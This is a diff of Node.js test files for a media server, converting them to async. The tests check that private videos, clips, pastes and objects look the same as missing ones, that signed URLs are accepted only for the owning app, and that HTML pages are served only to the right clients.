+ env: { ...process.env, PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test', DB_PATH: path.join(dir, 'media.db'), MEDIA_PGLITE_DIR: path.join(dir, 'pglite'), DATABASE_URL: '', DATABASE_DIRECT_URL: '', VALKEY_URL: '', VOD_PATH: path.join(dir, 'vods'), CLIPS_PATH: path.join(dir, 'clips'), FILES_PATH: path.join(dir, 'files'), THUMBNAILS_PATH: path.join(dir, 'thumbnails'), PASTES_PATH: path.join(dir, 'pastes'), OBJECTS_PATH: path.join(dir, 'objects'), MEDIA_JOBS_ENABLED: 'off' },
+ stdio: ['ignore', 'ignore', 'pipe'],
+ });
+ let stderr = '';
+ child.stderr.on('data', (d) => { stderr = (stderr + d).slice(-2000); });
+ const base = `http://127.0.0.1:${port}`;
+ try {
+ let up = false;
+ for (let i = 0; i < 150 && !up; i++) {
+ up = await fetch(`${base}/healthz`).then((r) => r.ok).catch(() => false);
+ if (!up) await new Promise((r) => setTimeout(r, 100));
+ }
+ assert.ok(up, `the server did not start:\n${stderr}`);
+ const m = await measure({ base });
+ const over = check(m, BUDGETS);
+ assert.deepStrictEqual(over, [], format(m, over));
+ console.log(format(m));
+ console.log('perf budget: all checks passed');
+ } finally {
+ child.kill();
+ fs.rmSync(dir, { recursive: true, force: true });
}
}
- assert.ok(up, `the server did not start:\n${stderr}`);
- const m = await measure({ base });
- const over = check(m, BUDGETS);
- assert.deepStrictEqual(over, [], format(m, over));
- console.log(format(m));
- console.log('perf budget: all checks passed');
- } finally {
- child.kill();
- fs.rmSync(dir, { recursive: true, force: true });
- }
-})().catch((err) => { console.error(err); process.exitCode = 1; });
+ })().catch((err) => { console.error(err); process.exitCode = 1; });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,186 +10,187 @@ const os = require('os');
@@ -10,186 +10,187 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-private404-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-delete process.env.PASTES_MOVED_TO;
-
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const model = require('../server/objects/model');
-const signing = require('../server/objects/signing');
-const express = require('express');
-
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-const raw = db.getDb();
-const vodFile = (n) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };
-const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };
-
-const insVod = raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, clips_only, thumbnail_url)
- VALUES (?, 'live', ?, ?, ?, ?, ?, 10, ?, ?)`);
-insVod.run(1, 5, 'Public', vodFile('vod-1.webm'), 1, 'public', 0, '/t/vod-1-111.jpg');
-insVod.run(2, 5, 'Secret title', vodFile('vod-2-secret.webm'), 0, 'private', 0, '/t/vod-2-222.jpg');
-insVod.run(3, 5, 'Legacy hidden', vodFile('vod-3.webm'), 0, null, 0, null);
-insVod.run(4, 5, 'Clips only', vodFile('vod-4.webm'), 0, 'unlisted', 1, null);
-insVod.run(6, 5, 'Unlisted', vodFile('vod-6.webm'), 0, 'unlisted', 0, null);
-const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status)
- VALUES (?, 'live', 1, ?, ?, ?, ?, ?, 'ready')`);
-insClip.run(10, 5, 'Public clip', clipFile('clip-10.webm'), 1, 'public');
-insClip.run(11, 5, 'Private clip', clipFile('clip-11-secret.webm'), 0, 'private');
-const insPaste = raw.prepare(`INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility, screenshot_path)
- VALUES (?, 'live', 5, 'P', ?, ?, 'text', ?, ?)`);
-insPaste.run('pub-text', 'paste', 'hello', 'public', null);
-insPaste.run('priv-text', 'paste', 'secret', 'private', null);
-insPaste.run('priv-shot', 'screenshot', 'caption', 'private', '/nonexistent.png');
-
-const mkObj = (visibility, lifecycle_status) => model.createObject({
- app_id: 'live', namespace: 'live', kind: 'file', owner_subject: null, owner_app: 'live', owner_user_id: 5,
- visibility, lifecycle_status, mime_type: 'text/plain', size_bytes: 5, metadata: {},
-});
-const privDeleted = mkObj('private', 'deleted');
-const privUploading = mkObj('private', 'uploading');
-const pubDeleted = mkObj('public', 'deleted');
-
-const app = express();
-app.use(express.json());
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
-app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
-app.use('/o', require('../server/objects/routes').publicRouter);
-app.use('/', require('../server/public/routes'));
-const server = http.createServer(app);
-
(async () => {
(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const get = async (p, headers = {}, method = 'GET', body) => {
- const h = { ...headers };
- let payload;
- if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
- const text = await res.text();
- return { status: res.status, text, location: res.headers.get('location') };
- };
- const same = async (a, b, msg) => {
- const [x, y] = [await get(...a), await get(...b)];
- assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);
- return x;
- };
- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
- const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };
- const asUser = (id) => ({ authorization: 'Bearer live-key', 'x-ov-user-id': String(id) });
-
- // ── /v and /c: private = missing, for bytes and for the watch page ──
- let r = await same(['/v/2', video], ['/v/999', video], 'private VOD bytes look missing');
- assert.strictEqual(r.status, 404);
- assert.ok(!r.text.includes('private'), 'the answer never says "private"');
- await same(['/v/2', nav], ['/v/999', nav], 'private VOD watch page looks missing');
- await same(['/v/3', video], ['/v/999', video], 'legacy row (no visibility, is_public 0) is private');
- await same(['/v/4', video], ['/v/999', video], 'clips-only source recordings are not served');
- await same(['/v/vod-2-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form: private file names are not confirmed');
- await same(['/v/clip-11-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form reaching a private clip');
- await same(['/c/11', video], ['/c/999', video], 'private clip looks missing');
- await same(['/c/11', nav], ['/c/999', nav], 'private clip watch page looks missing');
- await same(['/v/2', { ...video, ...asUser(77) }], ['/v/999', { ...video, ...asUser(77) }], 'another user of the app is nobody special');
-
- assert.strictEqual((await get('/v/1', video)).status, 200, 'public VOD serves');
- assert.strictEqual((await get('/v/6', video)).status, 200, 'unlisted VOD serves by direct link');
- assert.strictEqual((await get('/c/10', video)).status, 200, 'public clip serves');
- assert.strictEqual((await get('/v/2', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private VOD');
- assert.strictEqual((await get('/v/2', { ...video, authorization: 'Bearer live-key' })).status, 200, 'the owning app gets it');
- assert.strictEqual((await get('/c/11', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private clip');
- console.log('✅ /v /c: private looks missing');
-
- // ── Signed playback URLs (a reader with no key, e.g. OpenVibe.AI transcribing): only the owning app signs ──
- const signedVia = async (p, headers) => { const x = await get(p, headers); return x.status === 200 ? JSON.parse(x.text) : { status: x.status }; };
- const sv = await signedVia('/api/v1/live/vods/2/signed-url?ttl=600', { authorization: 'Bearer live-key' });
- assert.ok(/^https:\/\/media\.test\/v\/2\?exp=\d+&sig=/.test(sv.url), sv.url);
- assert.strictEqual((await get(sv.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private VOD');
- const sc = await signedVia('/api/v1/live/clips/11/signed-url', { authorization: 'Bearer live-key' });
- assert.strictEqual((await get(sc.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private clip');
- await same([sv.url.replace('https://media.test', '').replace('/v/2?', '/v/3?'), video], ['/v/999', video], 'a VOD signature is not valid for another VOD');
- await same([sc.url.replace('https://media.test', '').replace('/c/11?', '/v/11?'), video], ['/v/999', video], 'a clip signature is not a VOD signature');
- await same([sv.url.replace('https://media.test', '').replace(/sig=[^&]+/, 'sig=AAAA'), video], ['/v/999', video], 'a forged signature is nobody');
- assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', asUser(5))).status, 403, 'a call acting for a user does not sign');
- assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', {})).status, 401, 'no key, no URL');
- const late = signing.signedMediaUrl('vod', 2, 10 * 24 * 3600);
- assert.ok(Date.parse(late.expires_at) - Date.now() <= 6 * 3600 * 1000 + 5000, 'at most 6 hours');
- console.log('✅ /v /c: signed URLs for the owning app only');
-
- // ── Transcript companion ──
- r = await same(['/v/2/transcript.json'], ['/v/999/transcript.json'], 'private VOD transcript looks missing');
- assert.strictEqual(r.status, 404);
- assert.ok(!r.text.includes('Secret title'));
- await same(['/v/3/transcript.json'], ['/v/999/transcript.json'], 'legacy private transcript looks missing');
- await same(['/v/4/transcript.json'], ['/v/999/transcript.json'], 'clips-only transcript looks missing');
- console.log('✅ /v/:id/transcript.json: private looks missing');
-
- // ── Legacy thumbnail names never hand out a private row's current thumbnail URL ──
- r = await get('/api/thumbnails/vod-1-0.jpg');
- assert.deepStrictEqual([r.status, r.location], [302, '/t/vod-1-111.jpg'], 'public rows still redirect to the current thumbnail');
- await same(['/api/thumbnails/vod-2-0.jpg'], ['/api/thumbnails/vod-999-0.jpg'], 'private row: same answer as a missing one');
- r = await get('/api/thumbnails/vod-2-0.jpg');
- assert.strictEqual(r.location, null, 'no redirect for a private row');
- console.log('✅ /api/thumbnails: no redirect for private rows');
-
- // ── /o: a private object is missing without a signature, whatever its lifecycle ──
- await same([`/o/${privDeleted}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'deleted private object: 404, not 410');
- await same([`/o/${privUploading}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'unfinished private object: 404');
- assert.strictEqual((await get(`/o/${pubDeleted}`)).status, 410, 'a deleted public object may say Gone');
- const s = signing.signedDownloadUrl(privDeleted, 60);
- assert.strictEqual((await get(s.url.replace('https://media.test', ''))).status, 410, 'with a valid signature the lifecycle answer is fine');
- console.log('✅ /o: private objects look missing before any lifecycle answer');
-
- // ── Paste raw: no redirect or answer that singles out a private paste ──
- await same(['/p/priv-text/raw'], ['/p/no-such/raw'], 'private text paste looks missing');
- await same(['/p/priv-shot/raw'], ['/p/no-such/raw'], 'private screenshot paste: no redirect to its screenshot');
- assert.strictEqual((await get('/p/pub-text/raw')).text, 'hello', 'public paste raw still serves');
- process.env.PASTES_MOVED_TO = 'https://community.test';
- r = await get('/p/no-such/raw');
- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/raw'], 'moved: every slug goes to Community');
- r = await get('/p/priv-shot/raw');
- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/raw'], 'moved: a private screenshot is not bounced to /screenshot');
- // /p/:slug/screenshot: a slug Media doesn't hold (pastes made in Community since the move, whose
- // screenshots hero moments linked here) goes to Community; a private one answers the same way.
- r = await get('/p/no-such/screenshot');
- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/screenshot'], 'moved: an unknown screenshot slug goes to Community');
- r = await get('/p/priv-shot/screenshot');
- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/screenshot'], 'moved: a private screenshot looks like an unknown one');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-private404-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
delete process.env.PASTES_MOVED_TO;
delete process.env.PASTES_MOVED_TO;
- console.log('✅ /p/:slug/raw: private looks missing');
-
- // ── v1 detail routes when the app acts for a user ──
- await same(['/api/v1/live/vods/2', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: private VOD looks missing');
- await same(['/api/v1/live/vods/3', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: legacy private VOD looks missing');
- await same(['/api/v1/live/clips/11', asUser(77)], ['/api/v1/live/clips/999', asUser(77)], 'acting non-owner: private clip looks missing');
- await same(['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 2, start_s: 0, end_s: 5 }],
- ['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 999, start_s: 0, end_s: 5 }], 'acting non-owner cannot probe a private VOD by clipping it');
- r = await get('/api/v1/live/vods/2', asUser(5));
- assert.strictEqual(r.status, 200, 'the owner, acting, sees their VOD');
- assert.strictEqual(JSON.parse(r.text).title, 'Secret title');
- assert.strictEqual((await get('/api/v1/live/vods/2', { authorization: 'Bearer live-key' })).status, 200, 'the app key alone sees the namespace');
- assert.strictEqual((await get('/api/v1/live/clips/11', asUser(5))).status, 200);
- assert.strictEqual((await get('/api/v1/live/vods/6', asUser(77))).status, 200, 'unlisted stays reachable by id');
-
- const views = () => raw.prepare("SELECT views FROM pastes WHERE slug = 'priv-text'").get().views;
- const before = views();
- await same(['/api/v1/live/pastes/priv-text', asUser(77)], ['/api/v1/live/pastes/no-such-slug', asUser(77)], 'acting non-owner: private paste looks missing');
- assert.strictEqual(views(), before, 'a refused read counts no view');
- assert.strictEqual((await get('/api/v1/live/pastes/priv-text', asUser(5))).status, 200);
- console.log('✅ v1 detail: acting non-owners get the missing answer');
-
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('private-not-found: all checks passed');
- process.exit(0);
-})().catch((err) => { console.error(err); server.close(); process.exit(1); });
+
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const signing = require('../server/objects/signing');
+ const express = require('express');
+
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const raw = db.getDb();
+ const vodFile = (n) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };
+ const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };
+
+ const insVod = raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, clips_only, thumbnail_url) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'live', ?, ?, ?, ?, ?, 10, ?, ?) RETURNING id`);
+ await insVod.run(1, 5, 'Public', vodFile('vod-1.webm'), 1, 'public', 0, '/t/vod-1-111.jpg');
+ await insVod.run(2, 5, 'Secret title', vodFile('vod-2-secret.webm'), 0, 'private', 0, '/t/vod-2-222.jpg');
+ await insVod.run(3, 5, 'Legacy hidden', vodFile('vod-3.webm'), 0, null, 0, null);
+ await insVod.run(4, 5, 'Clips only', vodFile('vod-4.webm'), 0, 'unlisted', 1, null);
+ await insVod.run(6, 5, 'Unlisted', vodFile('vod-6.webm'), 0, 'unlisted', 0, null);
+ const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'live', 1, ?, ?, ?, ?, ?, 'ready') RETURNING id`);
+ await insClip.run(10, 5, 'Public clip', clipFile('clip-10.webm'), 1, 'public');
+ await insClip.run(11, 5, 'Private clip', clipFile('clip-11-secret.webm'), 0, 'private');
+ const insPaste = raw.prepare(`INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility, screenshot_path)
+ VALUES (?, 'live', 5, 'P', ?, ?, 'text', ?, ?) RETURNING id`);
+ await insPaste.run('pub-text', 'paste', 'hello', 'public', null);
+ await insPaste.run('priv-text', 'paste', 'secret', 'private', null);
+ await insPaste.run('priv-shot', 'screenshot', 'caption', 'private', '/nonexistent.png');
+
+ const mkObj = async (visibility, lifecycle_status) => await model.createObject({
+ app_id: 'live', namespace: 'live', kind: 'file', owner_subject: null, owner_app: 'live', owner_user_id: 5,
+ visibility, lifecycle_status, mime_type: 'text/plain', size_bytes: 5, metadata: {},
+ });
+ const privDeleted = await mkObj('private', 'deleted');
+ const privUploading = await mkObj('private', 'uploading');
+ const pubDeleted = await mkObj('public', 'deleted');
+
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
+ app.use('/o', require('../server/objects/routes').publicRouter);
+ app.use('/', require('../server/public/routes'));
+ const server = http.createServer(app);
+
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const get = async (p, headers = {}, method = 'GET', body) => {
+ const h = { ...headers };
+ let payload;
+ if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
+ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
+ const text = await res.text();
+ return { status: res.status, text, location: res.headers.get('location') };
+ };
+ const same = async (a, b, msg) => {
+ const [x, y] = [await get(...a), await get(...b)];
+ assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);
+ return x;
+ };
+ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
+ const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };
+ const asUser = (id) => ({ authorization: 'Bearer live-key', 'x-ov-user-id': String(id) });
+
+ // ── /v and /c: private = missing, for bytes and for the watch page ──
+ let r = await same(['/v/2', video], ['/v/999', video], 'private VOD bytes look missing');
+ assert.strictEqual(r.status, 404);
+ assert.ok(!r.text.includes('private'), 'the answer never says "private"');
+ await same(['/v/2', nav], ['/v/999', nav], 'private VOD watch page looks missing');
+ await same(['/v/3', video], ['/v/999', video], 'legacy row (no visibility, is_public 0) is private');
+ await same(['/v/4', video], ['/v/999', video], 'clips-only source recordings are not served');
+ await same(['/v/vod-2-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form: private file names are not confirmed');
+ await same(['/v/clip-11-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form reaching a private clip');
+ await same(['/c/11', video], ['/c/999', video], 'private clip looks missing');
+ await same(['/c/11', nav], ['/c/999', nav], 'private clip watch page looks missing');
+ await same(['/v/2', { ...video, ...asUser(77) }], ['/v/999', { ...video, ...asUser(77) }], 'another user of the app is nobody special');
+
+ assert.strictEqual((await get('/v/1', video)).status, 200, 'public VOD serves');
+ assert.strictEqual((await get('/v/6', video)).status, 200, 'unlisted VOD serves by direct link');
+ assert.strictEqual((await get('/c/10', video)).status, 200, 'public clip serves');
+ assert.strictEqual((await get('/v/2', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private VOD');
+ assert.strictEqual((await get('/v/2', { ...video, authorization: 'Bearer live-key' })).status, 200, 'the owning app gets it');
+ assert.strictEqual((await get('/c/11', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private clip');
+ console.log('✅ /v /c: private looks missing');
+
+ // ── Signed playback URLs (a reader with no key, e.g. OpenVibe.AI transcribing): only the owning app signs ──
+ const signedVia = async (p, headers) => { const x = await get(p, headers); return x.status === 200 ? JSON.parse(x.text) : { status: x.status }; };
+ const sv = await signedVia('/api/v1/live/vods/2/signed-url?ttl=600', { authorization: 'Bearer live-key' });
+ assert.ok(/^https:\/\/media\.test\/v\/2\?exp=\d+&sig=/.test(sv.url), sv.url);
+ assert.strictEqual((await get(sv.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private VOD');
+ const sc = await signedVia('/api/v1/live/clips/11/signed-url', { authorization: 'Bearer live-key' });
+ assert.strictEqual((await get(sc.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private clip');
+ await same([sv.url.replace('https://media.test', '').replace('/v/2?', '/v/3?'), video], ['/v/999', video], 'a VOD signature is not valid for another VOD');
+ await same([sc.url.replace('https://media.test', '').replace('/c/11?', '/v/11?'), video], ['/v/999', video], 'a clip signature is not a VOD signature');
+ await same([sv.url.replace('https://media.test', '').replace(/sig=[^&]+/, 'sig=AAAA'), video], ['/v/999', video], 'a forged signature is nobody');
+ assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', asUser(5))).status, 403, 'a call acting for a user does not sign');
+ assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', {})).status, 401, 'no key, no URL');
+ const late = signing.signedMediaUrl('vod', 2, 10 * 24 * 3600);
+ assert.ok(Date.parse(late.expires_at) - Date.now() <= 6 * 3600 * 1000 + 5000, 'at most 6 hours');
+ console.log('✅ /v /c: signed URLs for the owning app only');
+
+ // ── Transcript companion ──
+ r = await same(['/v/2/transcript.json'], ['/v/999/transcript.json'], 'private VOD transcript looks missing');
+ assert.strictEqual(r.status, 404);
+ assert.ok(!r.text.includes('Secret title'));
+ await same(['/v/3/transcript.json'], ['/v/999/transcript.json'], 'legacy private transcript looks missing');
+ await same(['/v/4/transcript.json'], ['/v/999/transcript.json'], 'clips-only transcript looks missing');
+ console.log('✅ /v/:id/transcript.json: private looks missing');
+
+ // ── Legacy thumbnail names never hand out a private row's current thumbnail URL ──
+ r = await get('/api/thumbnails/vod-1-0.jpg');
+ assert.deepStrictEqual([r.status, r.location], [302, '/t/vod-1-111.jpg'], 'public rows still redirect to the current thumbnail');
+ await same(['/api/thumbnails/vod-2-0.jpg'], ['/api/thumbnails/vod-999-0.jpg'], 'private row: same answer as a missing one');
+ r = await get('/api/thumbnails/vod-2-0.jpg');
+ assert.strictEqual(r.location, null, 'no redirect for a private row');
+ console.log('✅ /api/thumbnails: no redirect for private rows');
+
+ // ── /o: a private object is missing without a signature, whatever its lifecycle ──
+ await same([`/o/${privDeleted}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'deleted private object: 404, not 410');
+ await same([`/o/${privUploading}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'unfinished private object: 404');
+ assert.strictEqual((await get(`/o/${pubDeleted}`)).status, 410, 'a deleted public object may say Gone');
+ const s = signing.signedDownloadUrl(privDeleted, 60);
+ assert.strictEqual((await get(s.url.replace('https://media.test', ''))).status, 410, 'with a valid signature the lifecycle answer is fine');
+ console.log('✅ /o: private objects look missing before any lifecycle answer');
+
+ // ── Paste raw: no redirect or answer that singles out a private paste ──
+ await same(['/p/priv-text/raw'], ['/p/no-such/raw'], 'private text paste looks missing');
+ await same(['/p/priv-shot/raw'], ['/p/no-such/raw'], 'private screenshot paste: no redirect to its screenshot');
+ assert.strictEqual((await get('/p/pub-text/raw')).text, 'hello', 'public paste raw still serves');
+ process.env.PASTES_MOVED_TO = 'https://community.test';
+ r = await get('/p/no-such/raw');
+ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/raw'], 'moved: every slug goes to Community');
+ r = await get('/p/priv-shot/raw');
+ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/raw'], 'moved: a private screenshot is not bounced to /screenshot');
+ // /p/:slug/screenshot: a slug Media doesn't hold (pastes made in Community since the move, whose
+ // screenshots hero moments linked here) goes to Community; a private one answers the same way.
+ r = await get('/p/no-such/screenshot');
+ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/screenshot'], 'moved: an unknown screenshot slug goes to Community');
+ r = await get('/p/priv-shot/screenshot');
+ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/screenshot'], 'moved: a private screenshot looks like an unknown one');
+ delete process.env.PASTES_MOVED_TO;
+ console.log('✅ /p/:slug/raw: private looks missing');
+
+ // ── v1 detail routes when the app acts for a user ──
+ await same(['/api/v1/live/vods/2', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: private VOD looks missing');
+ await same(['/api/v1/live/vods/3', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: legacy private VOD looks missing');
+ await same(['/api/v1/live/clips/11', asUser(77)], ['/api/v1/live/clips/999', asUser(77)], 'acting non-owner: private clip looks missing');
+ await same(['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 2, start_s: 0, end_s: 5 }],
+ ['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 999, start_s: 0, end_s: 5 }], 'acting non-owner cannot probe a private VOD by clipping it');
+ r = await get('/api/v1/live/vods/2', asUser(5));
+ assert.strictEqual(r.status, 200, 'the owner, acting, sees their VOD');
+ assert.strictEqual(JSON.parse(r.text).title, 'Secret title');
+ assert.strictEqual((await get('/api/v1/live/vods/2', { authorization: 'Bearer live-key' })).status, 200, 'the app key alone sees the namespace');
+ assert.strictEqual((await get('/api/v1/live/clips/11', asUser(5))).status, 200);
+ assert.strictEqual((await get('/api/v1/live/vods/6', asUser(77))).status, 200, 'unlisted stays reachable by id');
+
+ const views = async () => (await raw.prepare("SELECT views FROM pastes WHERE slug = 'priv-text'").get()).views;
+ const before = await views();
+ await same(['/api/v1/live/pastes/priv-text', asUser(77)], ['/api/v1/live/pastes/no-such-slug', asUser(77)], 'acting non-owner: private paste looks missing');
+ assert.strictEqual(await views(), before, 'a refused read counts no view');
+ assert.strictEqual((await get('/api/v1/live/pastes/priv-text', asUser(5))).status, 200);
+ console.log('✅ v1 detail: acting non-owners get the missing answer');
+
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('private-not-found: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); server.close(); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -7,109 +7,110 @@ const os = require('os');
@@ -7,109 +7,110 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = path.join(os.tmpdir(), `ov-media-pages-${process.pid}.db`);
-process.env.DB_PATH = tmp;
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+(async () => {
+ const tmp = path.join(os.tmpdir(), `ov-media-pages-${process.pid}.db`);
+ process.env.DB_PATH = tmp;
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const pages = require('../server/public/pages');
-const pageFrame = require('../server/public/page-frame');
+ const db = require('../server/db/database');
+ const pages = require('../server/public/pages');
+ const pageFrame = require('../server/public/page-frame');
-// ── wantsHtmlPage: navigations and preview bots get the page, players get bytes ──
-const req = (headers, query = {}) => ({ method: 'GET', headers, query });
-assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html,*/*' })), true);
-assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'video', accept: 'video/webm,*/*;q=0.5' })), false);
-assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html' }, { raw: '1' })), false, '?raw=1 always yields bytes');
-assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html', range: 'bytes=0-' })), false, 'range requests are bytes');
-assert.strictEqual(pages.wantsHtmlPage(req({ accept: 'text/html,application/xhtml+xml' })), true, 'Accept-based fallback');
-assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*' })), false, 'curl / fetch defaults get bytes');
-assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*', 'user-agent': 'Mozilla/5.0 (compatible; Discordbot/2.0)' })), true, 'preview bots get the page');
-assert.strictEqual(pages.wantsHtmlPage({ method: 'POST', headers: { accept: 'text/html' }, query: {} }), false);
+ // ── wantsHtmlPage: navigations and preview bots get the page, players get bytes ──
+ const req = (headers, query = {}) => ({ method: 'GET', headers, query });
+ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html,*/*' })), true);
+ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'video', accept: 'video/webm,*/*;q=0.5' })), false);
+ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html' }, { raw: '1' })), false, '?raw=1 always yields bytes');
+ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html', range: 'bytes=0-' })), false, 'range requests are bytes');
+ assert.strictEqual(pages.wantsHtmlPage(req({ accept: 'text/html,application/xhtml+xml' })), true, 'Accept-based fallback');
+ assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*' })), false, 'curl / fetch defaults get bytes');
+ assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*', 'user-agent': 'Mozilla/5.0 (compatible; Discordbot/2.0)' })), true, 'preview bots get the page');
